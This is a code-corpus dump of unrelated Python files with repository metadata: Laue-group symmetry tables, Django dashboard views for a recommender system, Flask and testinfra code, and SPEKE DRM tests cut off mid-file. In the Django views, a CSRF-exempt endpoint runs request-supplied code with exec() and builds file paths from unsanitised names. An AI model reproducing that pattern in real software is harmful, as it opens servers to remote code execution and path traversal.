'l'), ('l', 'h', '-k'), ('-k', 'l', 'h'), ('h', '-k', '-l'), ('-l', 'h', '-k'), ('-k', '-l', 'h'), ('-h', 'k', 'l'), ('l', '-h', 'k'), ('k', 'l', '-h'), ('-h', 'k', '-l'), ('-l', '-h', 'k'), ('k', '-l', '-h'), ('-h', '-k', 'l'), ('l', '-h', '-k'), ('-k', 'l', '-h'), ('-h', '-k', '-l'), ('-l', '-h', '-k'), ('-k', '-l', '-h')], # laue group: m-3 14: [('h', 'k', 'l'), ('h', 'l', 'k'), ('l', 'h', 'k'), ('l', 'k', 'h'), ('k', 'h', 'l'), ('k', 'l', 'h'), ('h', 'k', '-l'), ('h', '-l', 'k'), ('-l', 'h', 'k'), ('-l', 'k', 'h'), ('k', 'h', '-l'), ('k', '-l', 'h'), ('h', '-k', 'l'), ('h', 'l', '-k'), ('l', 'h', '-k'), ('l', '-k', 'h'), ('-k', 'h', 'l'), ('-k', 'l', 'h'), ('h', '-k', '-l'), ('h', '-l', '-k'), ('-l', 'h', '-k'), ('-l', '-k', 'h'), ('-k', 'h', '-l'), ('-k', '-l', 'h'), ('-h', 'k', 'l'), ('-h', 'l', 'k'), ('l', '-h', 'k'), ('l', 'k', '-h'), ('k', '-h', 'l'), ('k', 'l', '-h'), ('-h', 'k', '-l'), ('-h', '-l', 'k'), ('-l', '-h', 'k'), ('-l', 'k', '-h'), ('k', '-h', '-l'), ('k', '-l', '-h'), ('-h', '-k', 'l'), ('-h', 'l', '-k'), ('l', '-h', '-k'), ('l', '-k', '-h'), ('-k', '-h', 'l'), ('-k', 'l', '-h'), ('-h', '-k', '-l'), ('-h', '-l', '-k'), ('-l', '-h', '-k'), ('-l', '-k', '-h'), ('-k', '-h', '-l'), ('-k', '-l', '-h')] # laue group: m-3m } if __name__ == '__main__': for i in range(1, 15): generate_pairs_by_laue((1, 2, 3), i)

27.633621

82

0.185618

818

6,411

1.418093

0.062347

0.232759

0.237931

0.189655

0.64569

0.626724

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0.019723

0.391047

6,411

231

83

27.753247

0.277408

0.038528

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0

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false

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1

0

1

0

1

0

1

0

null

0

7

2be1d2e0194261030706276985b1895671a259ad

14,903

py

Python

alarm/views.py

LFMP/ALARM

b310ebb53525826bb588bab983a45c14560c4863

[ "MIT" ]

1

2021-01-11T18:39:27.000Z

alarm/views.py

kiminh/ALARM

b310ebb53525826bb588bab983a45c14560c4863

[ "MIT" ]

null

alarm/views.py

kiminh/ALARM

b310ebb53525826bb588bab983a45c14560c4863

[ "MIT" ]

3

2019-08-29T22:52:20.000Z

2021-07-15T22:51:29.000Z

import json, datetime, os from django.http import HttpResponse, HttpResponseRedirect, JsonResponse from django.shortcuts import redirect, render from webapp.models import Adapters, Post, RecomendacaoAcessada, RecomendacaoGerada from django.contrib.auth.decorators import login_required from django.views.decorators.csrf import csrf_exempt from statistics import median @login_required(login_url='../admin/login/') def quantidadeRecGeradasPorHora(request): dados = {} hours = [] lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() for i in lista: for hora in range(25): hours.append(RecomendacaoGerada.objects.filter(rid=i["rid"],date__year =str(today.year),date__month =str(today.month), date__day = str(today.day),date__hour=hora).count()) inf = {i["rid"]:hours} hours = [] dados.update(inf) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecGeradasPorDia(request): dados = {} lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() for i in lista: inf = {i["rid"]:RecomendacaoGerada.objects.filter(rid=i["rid"],date__istartswith=today).count()} dados.update(inf) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecGeradasPorMes(request): lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() month = format(today.month,'02d') year = today.year dias = [] dados = {} for j in lista: for i in range (1,today.day+1): dias.append(RecomendacaoGerada.objects.filter(rid=j["rid"],date__year=str(year), date__month = str(month),date__day = format(i, '02d')).count()) inf = {j["rid"]:dias} dias = [] dados.update(inf) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecGeradasPorAno(request): lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() year = str(today.year) dados = {} days = {} for i in lista: eachRec = RecomendacaoGerada.objects.filter(rid=i["rid"]) for j in eachRec: day = str(j.date) day = day[:10] if day not in days: days.update({day: eachRec.filter(date__istartswith=day,date__year =year).count()}) inf = {i["rid"]:days} days = {} dados.update(inf) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAcessadasPorHora(request): dados = {} hours = [] lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() for i in lista: for hora in range(25): hours.append(RecomendacaoAcessada.objects.filter(rid=i["rid"],date__year =str(today.year),date__month =str(today.month), date__day = str(today.day),date__hour=hora).count()) inf = {i["rid"]:hours} hours = [] dados.update(inf) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAcessadasPorDia(request): dados = {} lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() for i in lista: inf = {i["rid"]:RecomendacaoAcessada.objects.filter(rid=i["rid"],date__istartswith=today).count()} dados.update(inf) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAcessadasPorMes(request): lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() month = format(today.month,'02d') year = today.year dias = [] dados = {} for j in lista: for i in range (1,today.day+1): dias.append(RecomendacaoAcessada.objects.filter(rid=j["rid"],date__year=str(year), date__month = str(month),date__day = format(i, '02d')).count()) inf = {j["rid"]:dias} dias = [] dados.update(inf) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAcessadasPorAno(request): lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() year = str(today.year) dados = {} days = {} for i in lista: eachRec = RecomendacaoAcessada.objects.filter(rid=i["rid"]) for j in eachRec: day = str(j.date) day = day[:10] if day not in days: days.update({day: eachRec.filter(date__istartswith=day,date__year =year).count()}) inf = {i["rid"]:days} days = {} dados.update(inf) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAderidasPorDia(request): dados = {} lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() cliquetotal = Post.objects.filter(dateR__istartswith = today).count() cliquerestante = 0 for i in lista: inf = {i["rid"]:RecomendacaoAcessada.objects.filter(rid=i["rid"],date__istartswith=today).count()} dados.update(inf) cliquerestante = cliquerestante + dados[i["rid"]] dados.update({"Não-recomendado":cliquetotal - cliquerestante}) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAderidasPorMes(request): lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() month = format(today.month,'02d') year = today.year dias = [] dados = {} cliquetotal = Post.objects.filter(dateR__year = str(year),dateR__month = str(month)).count() cliquerestante = 0 for j in lista: dados.update({j["rid"]:RecomendacaoAcessada.objects.filter(rid=j["rid"],date__year=str(year), date__month = str(month)).count()}) cliquerestante = cliquerestante + dados[j["rid"]] dados.update({"Não-recomendado": cliquetotal - cliquerestante }) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAderidasPorAno(request): lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() year = str(today.year) dados = {} cliquerestante = 0 cliquetotal = Post.objects.filter(dateR__year = str(year)).count() for i in lista: eachRec = RecomendacaoAcessada.objects.filter(rid=i["rid"], date__year = year).count() dados.update({i["rid"]:eachRec}) cliquerestante = cliquerestante + dados[i["rid"]] dados.update({"Não-recomendado": cliquetotal - cliquerestante }) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAderidasPorGeracaoPorDia(request): dados = {} lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() cliquetotal = RecomendacaoGerada.objects.filter(date__istartswith = today).count() cliquerestante = 0 for i in lista: inf = {i["rid"]:RecomendacaoAcessada.objects.filter(rid=i["rid"],date__istartswith=today).count()} dados.update(inf) cliquerestante = cliquerestante + dados[i["rid"]] dados.update({"Não-Clicada":cliquetotal - cliquerestante}) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAderidasPorGeracaoPorMes(request): lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() month = format(today.month,'02d') year = today.year dias = [] dados = {} cliquetotal = RecomendacaoGerada.objects.filter(date__year = str(year),date__month = str(month)).count() cliquerestante = 0 for j in lista: dados.update({j["rid"]:RecomendacaoAcessada.objects.filter(rid=j["rid"],date__year=str(year), date__month = str(month)).count()}) cliquerestante = cliquerestante + dados[j["rid"]] dados.update({"Não-Clicada": cliquetotal - cliquerestante }) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecAderidasPorGeracaoPorAno(request): lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() year = str(today.year) dados = {} cliquerestante = 0 cliquetotal = RecomendacaoGerada.objects.filter(date__year = str(year)).count() for i in lista: eachRec = RecomendacaoAcessada.objects.filter(rid=i["rid"], date__year = year).count() dados.update({i["rid"]:eachRec}) cliquerestante = cliquerestante + dados[i["rid"]] dados.update({"Não-Clicada": cliquetotal - cliquerestante }) return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecMinima(request): dados = {} lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() dias = {} eficiencia = [] for i in lista: for dia in range(32): quatidadeGerada = RecomendacaoGerada.objects.filter(rid = i["rid"], date__year = str(today.year), date__month = str(today.month), date__day = str(dia)).count() quatidadeAcessada = RecomendacaoAcessada.objects.filter(rid = i["rid"], date__year = str(today.year), date__month = str(today.month), date__day = str(dia)).count() if quatidadeGerada != 0 and quatidadeAcessada != 0: eficiencia.append(quatidadeAcessada/quatidadeGerada * 100) if eficiencia == []: dados.update({i["rid"]:0}) else: dados.update({i["rid"]:min(eficiencia)}) eficiencia = [] return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecMedia(request): dados = {} lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() dias = {} eficiencia = [] for i in lista: for dia in range(32): quatidadeGerada = RecomendacaoGerada.objects.filter(rid = i["rid"], date__year = str(today.year), date__month = str(today.month), date__day = str(dia)).count() quatidadeAcessada = RecomendacaoAcessada.objects.filter(rid = i["rid"], date__year = str(today.year), date__month = str(today.month), date__day = str(dia)).count() if quatidadeGerada != 0 and quatidadeAcessada != 0: eficiencia.append(quatidadeAcessada/quatidadeGerada * 100) if eficiencia == []: dados.update({i["rid"]:0}) else: dados.update({i["rid"]:median(eficiencia)}) eficiencia = [] return JsonResponse(dados) @login_required(login_url='../admin/login/') def quantidadeRecMaxima(request): dados = {} lista = Adapters.objects.filter(ativo=1).values("rid") today = datetime.date.today() dias = {} eficiencia = [] for i in lista: for dia in range(32): quatidadeGerada = RecomendacaoGerada.objects.filter(rid = i["rid"], date__year = str(today.year), date__month = str(today.month), date__day = str(dia)).count() quatidadeAcessada = RecomendacaoAcessada.objects.filter(rid = i["rid"], date__year = str(today.year), date__month = str(today.month), date__day = str(dia)).count() if quatidadeGerada != 0 and quatidadeAcessada != 0: eficiencia.append(quatidadeAcessada/quatidadeGerada * 100) if eficiencia == []: dados.update({i["rid"]:0}) else: dados.update({i["rid"]:max(eficiencia)}) eficiencia = [] return JsonResponse(dados) @login_required(login_url='../admin/login/') def recomenderclick(request): return JsonResponse({"caminho":"ok"}) @login_required(login_url='../admin/login/') @csrf_exempt def code(request): if request.method == 'POST': data = json.loads(request.body.decode('UTF-8')) fileName = data["nome"] codigo = data["valor"] dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path = dir_path.replace('alarm','webapp/algorithms/'+ fileName + '.py') try: exec('from random import randint\n'+codigo+'\n'+'count = Post.objects.count()\n'+'random_object = Post.objects.all()[randint(0, count - 1)]\n'+fileName+'(request,random_object)') except Exception as ex: return HttpResponse(json.dumps({"type":type(ex).__name__ , "args" : str(ex.args)}),status=404) else: if not os.path.exists(dir_path): file = open(dir_path, "w+") file.write(codigo) novoRecomendador = Adapters(fileName,1) novoRecomendador.save() return HttpResponse(status=204) return HttpResponse(json.dumps({"type":"Arquivo já existente com este nome" , "args" : "Mude-o!"}),status=404) else: return render(request,"admin/code-editor/code-editor.html") @login_required(login_url='../admin/login/') @csrf_exempt def toggleRecommendator(request): if(request.method == 'POST'): data = json.loads(request.body.decode('UTF-8')) name = data["nome"] value = data["value"] element = Adapters.objects.get(rid=name) element.ativo = value element.save() return HttpResponse(status=204) else: lista = Adapters.objects.values() adap = {} for i in lista: adap.update({i["rid"]:[str(i["ativo"])]}) return JsonResponse(adap) @login_required(login_url='../admin/login/') @csrf_exempt def deleteRecommendator(request): if (request.method == 'POST'): data = json.loads(request.body.decode('UTF-8')) fileName = data["name"] # contem o nome do recomendador a ser excluido dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path = dir_path.replace('alarm','webapp/algorithms/'+ fileName + '.py') if os.path.exists(dir_path): os.remove(dir_path) Adapters.objects.get(rid = fileName).delete() return HttpResponse(status=204) try: Adapters.objects.get(rid = fileName).delete() except: return HttpResponse(status=404) return HttpResponse(status=200) @login_required(login_url='../admin/login/') @csrf_exempt def visulizarRecommendator(request): if (request.method == 'POST'): data = json.loads(request.body.decode('UTF-8')) fileName = data["name"] # contem o nome do recomendador a ser visualizado dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path = dir_path.replace('alarm','webapp/algorithms/'+ fileName + '.py') if os.path.exists(dir_path): file = open(dir_path, "r") conteudo = {"conteudo":file.read(), "nome":fileName} return JsonResponse(conteudo) return HttpResponse(status=404) return HttpResponse(status=200) @login_required(login_url='../admin/login/') def managercodes(request): return render(request,"admin/toggle/toggleRecomender.html") @login_required(login_url='../admin/login/') def recomendacaoGerada(request): return render(request,"admin/graficos/recomendacaogerada/recomendacaogerada.html") @login_required(login_url='../admin/login/') def recomendacaoAcessada(request): return render(request,"admin/graficos/recomendacaoacessada/recomendacaoacessada.html") @login_required(login_url='../admin/login/') def recomendacaoAderida(request): return render(request,"admin/graficos/recomendacaoaderida/recomendacaoaderida.html") @login_required(login_url='../admin/login/') def recomendacaoAderidaPorGeracao(request): return render(request,"admin/graficos/recomendacaoaderidaporgeracao/recomendacaoaderidaporgeracao.html") @login_required(login_url='../admin/login/') def recomendacaoEficiencia(request): return render(request,"admin/graficos/recomendacaoeficiencia/recomendacaoeficiencia.html")

37.444724

184

0.699993

1,833

14,903

5.580469

0.102564

0.054649

0.049272

0.057484

0.809757

0.787271

0.759605

0.753837

0.723433

0.704468

0

0.008219

0.14279

14,903

397

185

37.539043

0.792485

0.006173

0

0.757143

0

0.098933

0.031267

0

1

0.08

false

0

0.022857

0.02

0.205714

0

null

0

1

0

1

0

null

0

7

2bf598822763c56499c7ef1203a3352f3f11b44a

479

py

Python

tests/test_concourse-ci.py

mbools/concourseci-formula

45e702eaf889206aac3906607a2396a8d9a07bb1

[ "Apache-2.0" ]

null

tests/test_concourse-ci.py

mbools/concourseci-formula

45e702eaf889206aac3906607a2396a8d9a07bb1

[ "Apache-2.0" ]

1

2018-03-09T13:48:31.000Z

tests/test_concourse-ci.py

mbools/concourseci-formula

45e702eaf889206aac3906607a2396a8d9a07bb1

[ "Apache-2.0" ]

3

2018-10-07T11:15:04.000Z

2021-03-04T09:46:17.000Z

"""Use testinfra and py.test to verify formula works properly""" def test_concourse_server_running_and_enabled(Service, Salt): concourse = Service(Salt("pillar.get", "concourse-ci:server:service:name")) assert concourse.is_running assert concourse.is_enabled def test_concourse_worker_running_and_enabled(Service, Salt): concourse = Service(Salt("pillar.get", "concourse-ci:worker:service:name")) assert concourse.is_running assert concourse.is_enabled

39.916667

79

0.778706

64

479

5.609375

0.375

0.122563

0.189415

0.133705

0.707521

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8

921468e582bce2ff6b517fdb80d1a1967cd5e240

12,848

py

Python

app.py

HrishikeshGadekar/Construction-Safety-Observations-Analyzer

32567d13e83831c54ca8ee0fa80b72effe274c45

[ "Apache-2.0" ]

null

app.py

HrishikeshGadekar/Construction-Safety-Observations-Analyzer

32567d13e83831c54ca8ee0fa80b72effe274c45

[ "Apache-2.0" ]

null

app.py

HrishikeshGadekar/Construction-Safety-Observations-Analyzer

32567d13e83831c54ca8ee0fa80b72effe274c45

[ "Apache-2.0" ]

null

import numpy as np from flask import Flask, request, render_template from sklearn.feature_extraction.text import TfidfVectorizer import pickle app = Flask(__name__) # read our pickle file and label LR Ngram (1, 4) as model model = pickle.load(open('model1_4.pkl', 'rb')) # read our pickle file and label LR Ngram (2, 4) as model2 model2 = pickle.load(open('model2_4.pkl', 'rb')) # # read our pickle file and label LSVM Ngram (1, 4) as model # model = pickle.load(open('lsvmmodel1_4.pkl', 'rb')) # # read our pickle file and label LSVM Ngram (2, 4) as model2 # model2 = pickle.load(open('lsvmmodel2_4.pkl', 'rb')) @app.route('/') def home(): return render_template('index.html') @app.route('/predict',methods=['POST','GET']) def predict(): ## Ngram (1, 4) prediction = model.predict(request.form.values()) # Output Confidence scores probability_class_GO = model.predict_proba(request.form.values())[:, 0] probability_class_UA = model.predict_proba(request.form.values())[:, 1] probability_class_UC = model.predict_proba(request.form.values())[:, 2] ## Ngram (2, 4) prediction2 = model2.predict(request.form.values()) # Output Confidence scores probability_class_GO2 = model2.predict_proba(request.form.values())[:, 0] probability_class_UA2 = model2.predict_proba(request.form.values())[:, 1] probability_class_UC2 = model2.predict_proba(request.form.values())[:, 2] # P00 if probability_class_GO[0]==0.08765182261021813 or probability_class_UA[0]==0.1355507998162925 or probability_class_UC[0]==0.7767973775734893: if probability_class_GO2[0]==0.08765182261021813 or probability_class_UA2[0]==0.1355507998162925 or probability_class_UC2[0]==0.7767973775734893: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Invalid Input. Please try again.', prediction_text2='---> This is an Invalid Input. Please try again.', ) elif prediction2==0: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Invalid Input. Please try again.', prediction_text2='---> This is a Good Observation!\n The Prediction Confidence for each class are-\n GO: {},\n UA: {},\n UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) elif prediction2==1: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Invalid Input. Please try again.', prediction_text2='---> This is an Unsafe Act !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) elif prediction2==2: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Invalid Input. Please try again.', prediction_text2='---> This is an Unsafe Condition !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) # P0 elif prediction==0: if probability_class_GO2[0]==0.08765182261021813 or probability_class_UA2[0]==0.1355507998162925 or probability_class_UC2[0]==0.7767973775734893: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is a Good Observation!\n The Prediction Confidence for each class are-\n GO: {},\n UA: {},\n UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is an Invalid Input. Please try again.', ) elif prediction2==0: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is a Good Observation!\n The Prediction Confidence for each class are-\n GO: {},\n UA: {},\n UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is a Good Observation!\n The Prediction Confidence for each class are-\n GO: {},\n UA: {},\n UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) elif prediction2==1: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is a Good Observation!\n The Prediction Confidence for each class are-\n GO: {},\n UA: {},\n UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is an Unsafe Act !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) elif prediction2==2: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is a Good Observation!\n The Prediction Confidence for each class are-\n GO: {},\n UA: {},\n UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is an Unsafe Condition !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) # P1 elif prediction==1: if probability_class_GO2[0]==0.08765182261021813 or probability_class_UA2[0]==0.1355507998162925 or probability_class_UC2[0]==0.7767973775734893: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Unsafe Act !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is an Invalid Input. Please try again.', ) elif prediction2==0: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Unsafe Act !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is a Good Observation!\n The Prediction Confidence for each class are-\n GO: {},\n UA: {},\n UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) elif prediction2==1: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Unsafe Act !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is an Unsafe Act !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) elif prediction2==2: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Unsafe Act !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is an Unsafe Condition !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) # P2 elif prediction==2: if probability_class_GO2[0]==0.08765182261021813 or probability_class_UA2[0]==0.1355507998162925 or probability_class_UC2[0]==0.7767973775734893: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Unsafe Condition !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is an Invalid Input. Please try again.', ) elif prediction2==0: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Unsafe Condition !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is a Good Observation!\n The Prediction Confidence for each class are-\n GO: {},\n UA: {},\n UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) elif prediction2==1: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Unsafe Condition !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is an Unsafe Act !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) elif prediction2==2: return render_template('index.html', inp='Input: {}'.format(request.form.to_dict(flat=True)['Safety Observation']), prediction_text='---> This is an Unsafe Condition !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO[0], probability_class_UA[0],probability_class_UC[0]), prediction_text2='---> This is an Unsafe Condition !!\nThe Prediction Confidence for each class are- \n GO: {}, UA: {}, UC: {}'.format(probability_class_GO2[0], probability_class_UA2[0],probability_class_UC2[0]) ) if __name__ == "__main__": app.run(debug=True)

82.890323

248

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0.732352

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0

null

1

0

1

0

null

0

7

a611dc8a7d3c8589716aa2a8b4b2a98631552a8c

105

py

Python

lib/solutions/HLO/test_hello.py

DPNT-Sourcecode/CHK-xelm01

316e2358a71e8ef3e8bdea0e2a5b0b4b19d13fbe

[ "Apache-2.0" ]

null

lib/solutions/HLO/test_hello.py

DPNT-Sourcecode/CHK-xelm01

316e2358a71e8ef3e8bdea0e2a5b0b4b19d13fbe

[ "Apache-2.0" ]

null

lib/solutions/HLO/test_hello.py

DPNT-Sourcecode/CHK-xelm01

316e2358a71e8ef3e8bdea0e2a5b0b4b19d13fbe

[ "Apache-2.0" ]

null

from .hello_solution import hello def test_hello_name(): assert hello("Raz") == "Hello, Raz!"

17.5

41

0.657143

14

105

4.714286

0.642857

0.242424

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0.209524

105

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42

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0.333333

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0.333333

true

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0.666667

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1

0

null

0

1

0

1

0

1

0

7

a62565699bc66496893e436fcd3305ad2763cc2d

6,264

py

Python

spekev2_verification_testsuite/test_case_5_preset_video_2_audio_unencrypted.py

amphied/speke-reference-server

7b589a333fb3c619c6f7e53483d43de9a588f7b7

[ "Apache-2.0" ]

null

spekev2_verification_testsuite/test_case_5_preset_video_2_audio_unencrypted.py

amphied/speke-reference-server

7b589a333fb3c619c6f7e53483d43de9a588f7b7

[ "Apache-2.0" ]

null

spekev2_verification_testsuite/test_case_5_preset_video_2_audio_unencrypted.py

amphied/speke-reference-server

7b589a333fb3c619c6f7e53483d43de9a588f7b7

[ "Apache-2.0" ]

null

import pytest from .helpers import utils, speke_element_assertions import xml.etree.ElementTree as ET @pytest.fixture(scope="session") def widevine_response(spekev2_url): return utils.send_speke_request(utils.TEST_CASE_5_P_V_2_A_UNENC, utils.PRESETS_WIDEVINE, spekev2_url) @pytest.fixture(scope="session") def playready_response(spekev2_url): return utils.send_speke_request(utils.TEST_CASE_5_P_V_2_A_UNENC, utils.PRESETS_PLAYREADY, spekev2_url) @pytest.fixture(scope="session") def fairplay_response(spekev2_url): return utils.send_speke_request(utils.TEST_CASE_5_P_V_2_A_UNENC, utils.PRESETS_FAIRPLAY, spekev2_url) @pytest.fixture(scope="session") def widevine_playready_response(spekev2_url): return utils.send_speke_request(utils.TEST_CASE_5_P_V_2_A_UNENC, utils.PRESETS_WIDEVINE_PLAYREADY, spekev2_url) @pytest.fixture(scope="session") def widevine_fairplay_response(spekev2_url): return utils.send_speke_request(utils.TEST_CASE_5_P_V_2_A_UNENC, utils.PRESETS_WIDEVINE_FAIRPLAY, spekev2_url) @pytest.fixture(scope="session") def playready_fairplay_response(spekev2_url): return utils.send_speke_request(utils.TEST_CASE_5_P_V_2_A_UNENC, utils.PRESETS_PLAYREADY_FAIRPLAY, spekev2_url) @pytest.fixture(scope="session") def widevine_playready_fairplay_response(spekev2_url): return utils.send_speke_request(utils.TEST_CASE_5_P_V_2_A_UNENC, utils.PRESETS_WIDEVINE_PLAYREADY_FAIRPLAY, spekev2_url) def test_case_5_widevine(widevine_response): root_cpix = ET.fromstring(widevine_response) speke_element_assertions.check_cpix_version(root_cpix) speke_element_assertions.validate_root_element(root_cpix) speke_element_assertions.validate_mandatory_cpix_child_elements(root_cpix) speke_element_assertions.validate_content_key_list_element(root_cpix, 2, "cenc") speke_element_assertions.validate_drm_system_list_element(root_cpix, 2, 2, 2, 0, 0) speke_element_assertions.validate_content_key_usage_rule_list_element(root_cpix, 2) speke_element_assertions.validate_content_key_usage_rule_list_for_unencrypted_presets(root_cpix, "audio") def test_case_5_playready(playready_response): root_cpix = ET.fromstring(playready_response) speke_element_assertions.check_cpix_version(root_cpix) speke_element_assertions.validate_root_element(root_cpix) speke_element_assertions.validate_mandatory_cpix_child_elements(root_cpix) speke_element_assertions.validate_content_key_list_element(root_cpix, 2, "cenc") speke_element_assertions.validate_drm_system_list_element(root_cpix, 2, 2, 0, 2, 0) speke_element_assertions.validate_content_key_usage_rule_list_element(root_cpix, 2) speke_element_assertions.validate_content_key_usage_rule_list_for_unencrypted_presets(root_cpix, "audio") def test_case_5_fairplay(fairplay_response): root_cpix = ET.fromstring(fairplay_response) speke_element_assertions.check_cpix_version(root_cpix) speke_element_assertions.validate_root_element(root_cpix) speke_element_assertions.validate_mandatory_cpix_child_elements(root_cpix) speke_element_assertions.validate_content_key_list_element(root_cpix, 2, "cbcs") speke_element_assertions.validate_drm_system_list_element(root_cpix, 2, 2, 0, 0, 2) speke_element_assertions.validate_content_key_usage_rule_list_element(root_cpix, 2) speke_element_assertions.validate_content_key_usage_rule_list_for_unencrypted_presets(root_cpix, "audio") def test_case_5_widevine_playready(widevine_playready_response): root_cpix = ET.fromstring(widevine_playready_response) speke_element_assertions.check_cpix_version(root_cpix) speke_element_assertions.validate_root_element(root_cpix) speke_element_assertions.validate_mandatory_cpix_child_elements(root_cpix) speke_element_assertions.validate_content_key_list_element(root_cpix, 2, "cenc") speke_element_assertions.validate_drm_system_list_element(root_cpix, 4, 2, 2, 2, 0) speke_element_assertions.validate_content_key_usage_rule_list_element(root_cpix, 2) speke_element_assertions.validate_content_key_usage_rule_list_for_unencrypted_presets(root_cpix, "audio") def 